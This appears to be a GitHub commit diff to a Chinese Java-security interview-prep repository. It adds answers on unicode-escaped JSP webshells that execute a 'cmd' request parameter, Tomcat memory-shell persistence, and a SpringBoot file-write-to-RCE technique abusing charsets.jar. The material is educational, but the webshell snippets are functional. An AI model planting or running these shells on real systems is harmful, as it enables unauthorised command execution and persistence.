File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1616
1717## 分类
1818
19- 当前问题总数:102
19+ 当前问题总数:104
2020
21- [ Java本身的安全问题 - 25个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/java )
21+ [ Java本身的安全问题 - 26个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/java )
2222
2323[ Shiro框架相关的安全问题 - 8个] ( https://github.com/4ra1n/JavaSecInterview/tree/master/shiro )
2424
2828
2929[ Tomcat相关的安全问题 - 0个] ( https://github.com/4ra1n/JavaSecInterview/tree/master/tomcat )
3030
31- [ Spring系列组件相关的安全问题 - 14个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/spring )
31+ [ Spring系列组件相关的安全问题 - 15个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/spring )
3232
3333[ Spring Env相关的利用方式 - 11个] ( https://github.com/4ra1n/JavaSecInterview/tree/master/spring-env )
3434
@@ -64,6 +64,8 @@ https://paper.seebug.org/1689/
6464
6565https://www.anquanke.com/post/id/151398
6666
67+ https://landgrey.me/
68+
6769## Star
6870
6971![ ] ( https://starchart.cc/4ra1n/JavaSecInterview.svg )
Original file line number Diff line number Diff line change @@ -322,4 +322,36 @@ jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.Server
322322
323323(4)自定义类加载器绕过
324324
325- (5)通过` JNI ` 调用` native ` 方法绕过
325+ (5)通过` JNI ` 调用` native ` 方法绕过
326+
327+
328+
329+ ### 是否了解利用unicode特性的JSP Webshell绕过(★★★)
330+
331+ 编译` JSP ` 时其中的` unicode ` 会进行解码,其中` \u000a ` 变成换行,导致后面的` exec ` 可以执行
332+
333+ ``` java
334+ < %
335+ Runtime . getRuntime().
336+ // \u000aexec
337+ (request. getParameter(" cmd" ));
338+ % >
339+ ```
340+
341+ 加入转义符将会变成简单的注释,这将变成普通的` webshell `
342+
343+ ``` java
344+ < %
345+ Runtime . getRuntime().
346+ // \\u000axxxxxx
347+ exec(request. getParameter(" cmd" ));
348+ % >
349+ ```
350+
351+ 一种特殊的方式(原理较复杂暂不分析)
352+
353+ ``` java
354+ < %
355+ Runtime . getRuntime().
356+ // \u000d\uabcdexec(request.getParameter("cmd"));
357+ % >
Original file line number Diff line number Diff line change @@ -42,11 +42,11 @@ Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring`
4242
4343### 内存马如何持久化(★★★)
4444
45- 内存马持久化这个问题必须要往本地写文件
45+ 内存马持久化这个问题必须要往本地写文件,可以利用 ` addShutDownHook ` 方法在 ` JVM ` 退出时写文件
4646
47- 一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,在 ` doFilter ` 等位置插入恶意字节码
47+ 一般来说思路是写入依赖 ` Jar ` 中,例如 ` catalina.jar ` 中
4848
49- 4ra1n师傅提到的修改Tomcat的Lib也是一种手段,在默认开启的` WsFilter ` 中修改代码
49+ 4ra1n师傅提到的修改Tomcat的Lib也是一种手段,在默认开启的` WsFilter ` 中的 ` doFilter ` 方法中修改代码
5050
5151
5252
Original file line number Diff line number Diff line change @@ -128,4 +128,17 @@ spring.cloud.function.routing-expression: SPEL
128128
129129### 谈谈Spring RCE的修复(★★★)
130130
131- 当` beanClass ` 为` Class ` 时只允许参数名为` name ` 并以` Name ` 结尾且属性返回类型不能为` Classloader ` 及` Classloader ` 子类
131+ 当` beanClass ` 为` Class ` 时只允许参数名为` name ` 并以` Name ` 结尾且属性返回类型不能为` Classloader ` 及` Classloader ` 子类
132+
133+
134+
135+ ### SpringBoot如果有任意文件写入如何RCE(★★★★)
136+
137+ 由于` SpringBoot ` 是` FarJar ` 形式的一个` Jar ` 包,因此无法在其运行的时候往` classpath ` 中增加文件,另外` SpringBoot ` 的应用通常不解析` JSP ` 等模板文件,所以传统的上传` webshell ` 以` RCE ` 的思路是无效的
138+
139+ 思路是覆盖了` JAVA_HOME ` 中没有被加载的系统` Jar ` 文件,例如` charsets.jar ` 文件,然后想办法在运行中加载该` jar ` 文件
140+
141+ 难点在于可控的主动类初始化,主要的两种实际利用是:
142+
143+ - 利用` Accept: text/html;charset=GBK ` 请求头触发` Spring ` 中的` Charset.forName ` 方法
144+ - 使用` Fastjson ` 的` 1.2.76 ` 版本通过普通的` JSON ` 即可触发` Charset.forName ` 方法
Original file line number Diff line number Diff line change 1+ ## Tomcat
2+
3+ todo
You can’t perform that action at this time.
0 commit comments